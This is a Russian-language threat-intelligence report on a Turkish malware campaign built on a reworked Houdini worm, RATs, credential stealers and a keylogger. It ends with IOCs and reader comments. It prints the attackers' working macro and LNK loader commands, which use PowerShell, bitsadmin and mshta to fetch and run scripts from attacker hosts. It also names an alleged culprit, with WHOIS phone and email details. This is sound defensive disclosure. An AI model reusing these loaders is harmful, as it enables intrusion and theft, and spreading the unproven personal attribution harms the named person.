Турецкие фокусы с червями, крысами… и фрилансером

    Специалисты группы исследования угроз экспертного центра безопасности Positive Technologies (PT Expert Security Center) обнаружили вредоносную кампанию, которая активна по крайней мере с середины января 2018 года. Операция направлена на пользователей из Бразилии, Великобритании, Венгрии, Германии, Латвии, США, Турции, с Филиппин. Используется многообразие инструментов и техник заражения и управления ПК жертвы. В данном отчете детально рассмотрены стадия заражения, применяемые утилиты, особенности организации сетевой инфраструктуры, а также цифровые следы, выведшие нас на кандидатуру предполагаемого хакера.

    Резюме


    • Атакующие переработали червя 10-летней давности с учетом современных приемов
    • Зоопарк используемых инструментов в совокупности с обширной сетевой инфраструктурой
    • Главный подозреваемый – турецкий фрилансер

    Доставка полезной нагрузки


    Офисные документы


    Пятого апреля 2019 года, в рамках отслеживания новых угроз, специалисты PT Expert Security Center обнаружили подозрительный офисный документ. Файл с расширением .docm (документ MS Word нового образца с поддержкой макросов):

    • создан за несколько дней до обнаружения (2019-03-31),
    • содержит изображение с целью убедить пользователя включить макросы,
    • был создан на системе с турецким языком (об этом свидетельствуют значения полей метаданных: «Konu Başlığı» — «Название темы», «Konu Ba l, 1» — «Предметный заголовок, 1»; перевод Google Translate).



    Рис. 1. Типичная ловушка с уведомлением о необходимости включения макросов

    Код макроса немного обфусцирован, но лаконичен: средствами командлета Background Intelligent Transfer Management (BITS) для PowerShell загружает и запускает сценарий на JScript с сервера злоумышленника:

    Shell ("pow" & "ershe" & "ll -comm" & "and ""$h1='e';&('i' + $h1 + 'x')('Import-Module BitsTransfer;Start-BitsTransf' + $h1 + 'r https://definebilimi.com/1/b12.js $env:t' + $h1 + 'mp\bb1.js;');Start-Process -WindowStyle hidden -FilePath 'cmd.exe' -ArgumentList '/c %systemroot%\system32\wscript %temp%\bb1.js'""")

    Использование PowerShell и нетипичного модуля для загрузки файлов с веб-сервера обусловлено попыткой обойти ограничения на запуск и исполнение недоверенных программ.

    Существует несколько аналогичных документов. Например, один из них представляет собой .doc-файл (документ MS Word старого образца) с кодовой страницей символов на турецком языке. Работа макроса также очень схожа:

    Shell "cmd.exe /c bitsadmin /transfer myjob /download /priority FOREGROUND https://definebilimi.com/up3e.js %temp%\o2.js & wscript.exe %temp%\o2.js", vbHide

    В данном случае автор использует ту же BITS-технологию, но при помощи легитимной системной утилиты bitsadmin. Интересно, что и дата создания документа, и время обнаружения в публичных источниках отсылают нас к середине июля 2018 года. Таким образом, атаки актуальны как минимум около года. Кроме этого, для загрузки пейлоада используется тот же самый сервер злоумышленника; схож и подход к именованию загружаемого сценария на JScript.

    Еще один документ имеет расширение .rtf (Rich Text Format). В него вложены несколько .xls-документов (документ MS Excel старого образца) с одинаковым содержанием. Код макроса полностью идентичен извлеченному из первоначального документа, а совпадения значений кодовой страницы и XML-поля HeadingPairs ведут к тому же авторству.

    LNK-ярлыки


    Стоит отметить, что в этой кампании в качестве первоначальной стадии заражения использовались не только офисные документы. Мы встретили пару вредоносных .lnk-файлов (Windows Shell Link), при запуске которых выполнялась следующая команда:

    C:\Windows\System32\cmd.exe /c powershell -command "$h1='e';&('i' + $h1 + 'x')('Import-Module BitsTransfer;Start-BitsTransf' + $h1 + 'r https://definebilimi.com/1/b12.js $env:t' + $h1 + 'mp\bb.js;')" & %systemroot%\system32\wscript %temp%\bb.js

    Ярлыки распространялись в середине марта и конце апреля 2019 года.

    Метаданные ярлыков содержат имя пользователя win7-bilgisayar (с турецкого «win7-компьютер») — пользователя системы, на которой они создавались.

    Мы можем с уверенностью предположить, что почтовые фишинговые рассылки — наиболее вероятный сценарий доставки вредоносных файлов на первой стадии заражения.

    Метаморфозы Гудини


    Все рассмотренные объекты первой стадии заражения загружают и запускают один и тот же сценарий на JScript (без учета незначительных различий). Файл не обфусцирован и не упакован, а единственное, что предпринято для усложнения анализа, — случайные имена переменных. Представляет собой бэкдор на платформе WSH. Из особенностей его работы можно выделить следующие:

    • Адрес хоста и порт управляющего сервера зашиты в скрипте
    • Взаимодействие с C&C осуществляется средствами POST-запросов протокола HTTP.
    • В момент начала работы в поле URI вставляется строка «is-bekle», в переводе с турецкого «is-ready».
    • Поле User-Agent содержит краткую информацию о системе с заданным разделителем (в данном случае, «<|>»):
      • серийный номер жесткого диска,
      • имя пользователя,
      • версия системы,
      • имя скрипта,
      • имя антивируса,
      • значение переменной среды %ProgramData%,
      • наличие .Net FrameWork 4.5.2 в системе,
      • время ожидания между запросами,
      • наличие Java в системе.

    • Проверяет окружение на предмет песочницы «Лаборатории Касперского» по заданному серийному номеру жесткого диска. В случае совпадения прекращает работу.
    • Получает от сервера и выполняет заданные команды; вот некоторые из них:
      • загрузка файла с сервера,
      • выгрузка файла на сервер
      • сбор содержимого буфера обмена,
      • сбор содержимого каталога,
      • сбор информации о процессах,
      • запуск команд в интерпретаторе cmd.exe,
      • снятие и отправка скриншота,
      • извлечение и отправка баз данных Chrome и Opera с паролями.



    Рис. 2. Начало загруженного сценария на JScript с сервера злоумышленника

    По наличию комментариев, структуре кода, используемым именам команд и формату сбора информации о системе можно провести параллель с хорошо известным VBS-червем Houdini. Наши коллеги из FireEye в 2013 году привели подробный разбор функций этого трояна, обработка команд и сбор информации в котором происходят аналогичным образом. Похоже, что в нашем случае злоумышленник взял за основу модель работы известного червя, переписал функции не на VBScript, а на JScript, и заменил некоторые английские строки турецкими.



    Рис. 3. Обработка команд JScript-бэкдора

    Стоит отметить, что в качестве маркера результатов выполнения команд используются строки, содержащие подстроку «Bcorp». Она же присутствует в имени управляющего сервера ip1[.]bcorp.fun.

    На сервере злоумышленника


    По данным Shodan на 30 апреля 2019 года, на хосте злоумышленника работает веб-сервер на базе AppServ. Не похоже, что сервер тщательно настраивали: например, доступна страница phpinfo, раскрывающая любопытную информацию о конфигурации. При анализе веб-ссылок, с которых загружалось вредоносное ПО, выяснилось, что на сервере присутствует открытая директория (каталог ./a) с листингом других инструментов злоумышленника.



    Рис. 4. Домашняя страница сервера злоумышленника



    Рис. 5. Страница phpinfo на сервере злоумышленника



    Рис. 6. Листинг открытой директории сервера злоумышленника в конце апреля 2019 года



    Рис. 7. Листинг открытой директории сервера злоумышленника в конце мая 2019 года

    Ниже представлено описание обнаруженных файлов.

    Houdini JScript


    В первую очередь, получено множество вариаций модифицированного червя Houdini, рассмотренного выше. От версии к версии скрипт претерпевал незначительные изменения: менялись имена хостов (husan2.ddns.net, ip1.bcorp.fun, ip1.qqww.eu), порты (86, 87), имена переменных, появлялись или исчезали отдельные команды. Одна из версий даже была обрамлена в виде скриптлета на JScript.



    Рис. 8. Houdini JScript в виде скриптлета

    Bcorp JAR


    Самописный легкий бэкдор на языке Java. Взаимодействует с C&C по TCP по порту 22122. Умеет:

    • выполнять команды в интерпретаторе cmd.exe,
    • определять версию системы,
    • перечислять каталоги,
    • выгружать файлы,
    • прописываться в каталог автозагрузки и ветку автозапуска реестра.

    Похоже, что именно для этого модифицированный червь проверяет наличие Java в системе. При этом неясно, зачем использовать дополнительный бэкдор, ведь первоначальный обладает достаточным набором функций.

    Get-ChromeCreds


    PowerShell-обертка для извлечения истории, логинов, паролей, cookie из браузера Chrome. Некоторые версии содержат вспомогательную библиотеку System.Data.SQLite.dll для x86- и x64-систем в base64-закодированном виде, остальные предполагают ее наличие в каталоге %APPDATA%. Компонент поставляется как вспомогательный плагин для основного JScript-бэкдора.

    Start-KeyLogger


    PowerShell-имплементация простейшего кейлоггера. Компонент поставляется как вспомогательный плагин для основного JScript-бэкдора.



    Рис. 9. Фрагмент кода PowerShell-кейлоггера

    WebBrowserPassView


    Утилита от Nirsoft для получения логинов и паролей из популярных браузеров. Злоумышленники использовали авторскую версию, предварительно упаковав ее с помощью ASPack для усложнения анализа или обхода детектирования по индикаторам.

    NetWire RAT


    Публично доступный, коммерческий инструмент для удаленного контроля над ПК. Используется различными киберпреступными группами. Малварщики усложнили анализ и обнаружение путем упаковки RAT в PE на платформе .NET и применения обфускатора кода DeepSea 4.1.

    TCP Listen


    Простенькая GUI-утилита от AllScoop для тестирования параметров роутера или межсетевого экрана. На каждый слушающий порт отвечает заданной строкой, завершая соединение.



    Рис. 10. GUI утилиты TCP Listen

    LNK loader


    Ярлык-загрузчик, схожий с уже рассмотренными ранее. При запуске выполняет следующую команду:

    C:\Windows\System32\cmd.exe /v /c "set i=h&&ms!i!ta http://ip1.qqww.eu/1/f.htm"

    На этот раз ярлык был создан под другим пользователем (desktop-amkd3n3).

    Script loaders


    В эту группу мы объединили различные загрузчики рассмотренных выше RAT. Все они небольших размеров (до 1 КБ), различных форматов (.htm, .xsl, .hta и т. д.), код выполняется на нескольких скриптовых (JScript, PowerShell) языках и компилируемом «на лету» C#. Ниже представлены фрагменты кода некоторых образцов:



    Рис. 11. Фрагмент .htm-загрузчика



    Рис. 12. Фрагмент .xsl-загрузчика



    Рис. 13. Фрагмент .ps1-загрузчика

    Tiny PE loaders


    Помимо скриптовых загрузчиков были обнаружены PE-файлы на платформе .NET. Они также небольших размеров (до 10 КБ), с аналогичной емкой функциональностью:



    Рис. 14. Пример декомпилированного кода одного из PE-загрузчиков

    xRAT


    Публично доступный, свободно распространяемый проект для удаленного управления ПК. Широко распространены различные версии и модификации. Написан на C#, частично обфусцирован.

    Bcorp panel vs. builder


    Управляющая серверная часть для JScript-бэкдора. В то же время является и конструктором клиентской части. Представляет собой PE на платформе .NET. Не обфусцирована, не упакована. Интерфейс напоминает переработанную серверную часть для уже упомянутого VBS-червя Houdini. Кроме отправки команд загружает на зараженную машину дополнительные компоненты и плагины, описанные ранее: окружение Java, PowerShell-скрипты и утилиту от Nirsoft для сбора информации с браузеров, PowerShell-скрипты для перехвата нажатых клавиш и т. д. Любопытно, что проект носит название BcorpRat, что можно увидеть в заголовке окна на изображениях ниже. А в названии пространства имен исходного программного кода фигурирует строка «Btech», к которой мы вернемся чуть позже.



    Рис. 15. Панель управления JScript-бэкдором, главное окно



    Рис. 16. Панель управления JScript-бэкдором, окно конструктора клиентской части

    Сетевая инфраструктура


    Далее мы проведем более детальный анализ адресов, с которыми взаимодействовали те или иные вредоносные программы атакующего. Начнем с домена definebilimi.com, к которому обращаются офисные документы и ярлыки-загрузчики.

    definebilimi.com


    Шестнадцатого января 2018 года у этого домена появился новый владелец. Кстати, «define bilimi» дословно переводится с турецкого как «сокровище науки». Ниже представлены наиболее интересные данные из истории WHOIS-записей на тот момент.
    Таблица 1. Информация о регистранте (владельце) домена definebilimi.com

    Имя записи Значение записи
    Registrant Name Koray YAMAN
    Registrant Street 123456
    Registrant City Istanbul
    Registrant Country TR
    Registrant Phone +90.5350167352
    Registrant Email btech@hotmail.com.tr

    Будет опрометчиво утверждать, что данные являются подлинными. Указанная страна и частота появления следов турецкого языка в коде позволяют нам предположить, что эти совпадения не случайны. А электронный адрес содержит подстроку «btech», на которую мы уже обращали внимание.

    Интересной выглядит история изменений NS-серверов, которые предоставляли информацию о зарегистрированном домене:

    Дата Действие Сервер
    17.03.2018 Новая запись buhar.biz
    15.01.2019 Смена записи definebilimi.com
    04.06.2019 Смена записи qqww.eu

    Таблица 2. История NS-серверов домена definebilimi.com

    Хосты buhar.biz и qqww.eu уже встречались во вредоносном ПО ранее.

    buhar.us


    Новая история этого домена («buhar» с турецкого — «пар») начинается с того же дня, что и история definebilimi.com, — 16 января 2018 года.

    Имя записи Значение записи
    Registrant Name balta zar
    Registrant Organization BuharuS
    Registrant Street Gizli
    Registrant City Gizli
    Registrant Country TR
    Registrant Phone +1.123456789
    Registrant Email buharcin@yandex.com

    Таблица 3. Информация о регистранте (владельце) домена buhar.us

    Ситуация схожа: вновь часть данных выглядят фальшивыми за исключением почтового адреса («buharcin» с турецкого — «паровоз»).

    bcorp.fun


    Домен зарегистрирован с 23 марта 2019 года. Кроме того, что страна зарегистрированного снова Турция, в качестве организации клиента приводится «Bcorp». Собственно, это же мы видим и в самом названии домена, как и в нескольких абзацах ранее.

    husan2.ddns.net


    Любопытно, что злоумышленник обзаводится хостами не только классическим способом. С середины марта 2019 года было зафиксировано использование так называемых динамических DNS-серверов. Технология позволяет атакующим эффективно скрывать свои IP-адреса и обеспечить живучесть своих центров управления. Стоит отметить и некоторую предсказуемость в выборе имен: так, например, через пару месяцев было обнаружено использование домена husan3.ddns.net, а вот активность домена husan.ddns.net датируется аж апрелем 2017 года.

    bkorp.xyz


    С начала апреля хакер, продолжая двигаться по пути анонимизации, регистрирует домены с использованием сервиса WhoisGuard, Inc., располагающегося в Панаме; bkorp.xyz, prntsrcn.com и i37-imgur.com — лишь некоторые примеры. Используемые NS-сервера по-прежнему связывают их с другими вредоносными доменами.

    qqww.eu


    Кроме того, что у этого домена, так же как и у домена bcorp.fun, есть поддомен ip1, — существует и еще одна немаловажная деталь. В информации о регистранте указана организация Osbil Technology Ltd., якобы располагающаяся в Берлине. На самом деле одноименная организация располагается на побережье Кипра в городе Фамагуста — на территории частично признанной Турецкой Республики Северного Кипра. А официальный сайт компании располагается на домене, который являлся NS-сервером домена bcorp.fun с марта по май 2019 года. Мы не нашли признаков компрометации сервера имен, а инфраструктурные особенности NS-провайдера (замещение клиента данными провайдера в графе регистранта) позволили скрыть информацию о клиенте от публичного доступа.



    Рис. 17. Информация о регистранте (владельце) домена qqww.eu

    IP-адреса


    Для полноты картины ниже приведены IP-адреса — с некоторыми доменами, соответствовавшими им в различные промежутки времени:
    • 5.255.63.12
      • bcorp.fun
      • husan.ddns.net
      • husan2.ddns.net
      • husan3.ddns.net
      • qqww.eu

    • 192.95.3.137
      • bcorp.fun
      • bkorp.xyz
      • definebilimi.com
      • i36-imgur.com
      • i37-imgur.com
      • i38-imgur.com
      • i39-imgur.com
      • prntsrcn.com
      • qqww.eu

    • 192.95.3.140
      • bkorp.xyz
      • buhar.us

      По следам хакера


      Среди вредоносных и вспомогательных инструментов на сервере злоумышленника было найдено любопытное изображение:



      Рис. 18. Изображение в каталоге на хостинге злоумышленника

      Мы не уменьшали разрешение картинки, а разместили его здесь в таком виде, как оно было на хосте.

      Несмотря на низкое качество изображения, нам удалось установить, что это скриншот страницы о совершенной транзакции с криптовалютой на ресурсе blockr.io. Это ничего не дало, поэтому мы попытались найти все связанное с именем IMG_JPEG-0371e4dce3c8804f1543c3f0f309cc11.jpg, с которым изображение хранилось у хакера. Следы привели к результату обработки на онлайн-анализаторе некоторого файла, имя которого совпадало с именем нашей картинки. Обработанный объект представляет собой Windows-ярлык, подобный тем, которые мы уже рассматривали ранее. К нему была прикреплена картинка с фотографией идентификационной карты турецкого гражданина, фамилия которого совпадает с фамилией, которая указывалась при регистрации домена, — Yaman.



      Рис. 19. Идентификационная карта с ярлыком-загрузчиком

      Обработка ярлыка в онлайн-песочнице происходила не вследствие загрузки файла пользователем, а путем передачи URL-адреса, с которого было необходимо загрузить и обработать объект:

      hxxps://github.com/btechim/prntsrcn/blob/nm46ny/IMG-0371e4dce3c8804f1543c3f0f309cc11.jpg.lnk?raw=true

      Github-аккаунт пользователя уже заблокирован, однако по ссылке мы можем установить никнейм пользователя (btechim) и имя проекта (prntsrcn). Имя проекта совпадает с именем одного из доменов, обнаруженного в кампании (prntsrcn.com), а в прозвище пользователя содержится подстрока btech, фигурирующая в программном коде админских панелей, о которых шла речь выше.

      Поиск по никнейму пользователя вывел нас на ресурс фрилансеров, на котором расположена страничка пользователя из Турции — с таким же никнеймом, с подтвержденным номером телефона, почтовым адресом и профилем в Facebook, — предлагающего свои услуги по разработке ПО в области кибербезопасности.



      Рис. 20. Страница предполагаемого злоумышленника на ресурсе для фрилансеров

      Выводы


      На протяжении нескольких месяцев специалисты Positive Technologies наблюдали за развитием вредоносной кампании турецкого происхождения и передали накопленные данные в CERT Турции. Далеко не часто в ходе одной серии атак сочетается использование современных техник и переработанных инструментов 10-летней давности. Злоумышленник применял самые разные инструменты (по назначению, по платформе, по уровню сложности) для получения полного контроля над целевым ПК. Стоит отметить вариативность подходов при подготовке сетевой инфраструктуры в попытках скрыть свою личность. Однако в очередной раз было учтено не все, самонадеянность и несколько упущений выдали преступника. Исследование было передано в центр реагирования на инциденты информационной безопасности Турции.

      IOCs
      Office loaders:
      3305720da73efbcb7d25edbb7eff5a1a
      5b6d77f3e48e7723498ede5d5ba54f26
      621a0133e28edec77a2d3e75115b8655
      712e7ec49ad3b8c91b326b6d5ee8dcd8
      731a3d72e3d36c2270c1d0711c73c301
      929374b35a73c59fe97b336d0c414389

      LNK loaders:
      3bc5d95e2bd2d52a300da9f3036f5b3b
      527069e966b4a854df35aef63f45986a
      a4667e0b3bfaca0cda5c344f1475b8e0

      Houdini JScript:
      04c2ad67de2cea3f247cf50c5e12e969
      5ab9176b9ed9f7a776ec82c412a89eab
      84f0d098880747f417703f251a2e0d1c
      94c6ba0d812b4daf214263fffc951a20
      a52509a38846b55a524019f2f1a06ade
      bf2fb6cdbc9fde99e186f01ad26f959f
      c871091ce44594adbd6cf4388381e410
      daf6a9eb55813d1a151695d33506179d
      f010af1b330d00abb5149e9defdae6ee
      ff924faeb9dfd7384c05abe855566fc9

      Bcorp JAR
      59978b5a9e4ab36da0f31a8f616cc9d3
      a7219da3b0c0730c476fe340dbf7e4e5
      ddac55213089da9ef407bce05ebe653e

      Get-ChromeCreds
      11769e9f49123a2af00bd74453221c07
      1a81c9119d7761535c198ddb761979b8
      42a85849a591e65b0254d9bcbdf59f82
      8e49263f33c53ee5bc91bebbf9617352
      c9ab090ad2badb9862fd5b6058428096

      Start-KeyLogger
      55daa84475a11ea656183e0ad5ccc608
      aa82fbb6a341d71d2431b6d2ebca027c

      WebBrowserPassView
      7722e086cf7ed59955a1d6ec26f49cf3

      NetWire RAT
      1470a08bd427bb8738a254ba4f130ff5
      5f8495016773c7834b1c588f0997a6c4

      TCP Listen
      913567da98185cad9f91a570dc298de1

      Script loaders
      02946d10c6a34fe74826f3c0b0a6a3e0
      1ad644bdba488a6e42ad76aea2c0ee54
      3a2dcf36b9206a135daa73c645a3f56f
      4dddd87d3cb80145c9859fd76dfef794
      74c5e5be9f79bd9e7ee84fd046c14e68
      78f4d5fa6c68dae4b03860b54ec6cc67

      Tiny PE loaders
      0f3c56018a7051aebe060454fc981f5b
      1b9cefc229daddc4557cea0e3bdf4656
      29e6679107bd9c72aa061371082206bb
      b66b7395825b9ed656b768d4e7fe1de7
      fbc606b8b04e51ddb342e29b84ac1edb

      xRAT
      2e9a0637478938cc3e4519aa7b4219cc
      7c67c93ba243be32e5fd6a6921ceded3

      Bcorp panel vs. builder
      405c987ba1a8568e2808da2b06bc9047
      c3ac8b7a7c8c0d100e3c2af8ccd11441

      Bcorp C&C
      bcorp.fun
      bkorp.xyz
      buhar.us
      definebilimi.com
      husan.ddns.net
      husan2.ddns.net
      husan3.ddns.net
      i36-imgur.com
      i37-imgur.com
      i38-imgur.com
      i39-imgur.com
      prntsrcn.com
      qqww.eu
      5.255.63.12
      192.95.3.137
      192.95.3.14


      Автор: Алексей Вишняков, Positive Technologies
    • +15
    • 2,4k
    • 3
    Positive Technologies
    106,53
    Компания
    Поделиться публикацией

    Комментарии 3

      0
      Не напомните случай, когда разработку одного из вирусов присвоили России только благодаря тому, что там якобы был комментарий на русском языке? Если не ошибаюсь, этой истории лет 20
        0
        Фрилансер кого-то хорошо кинул и ему сделали историю?
          0
          Надо было перевести имя «преступника» YAMAN

          Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.

          Самое читаемое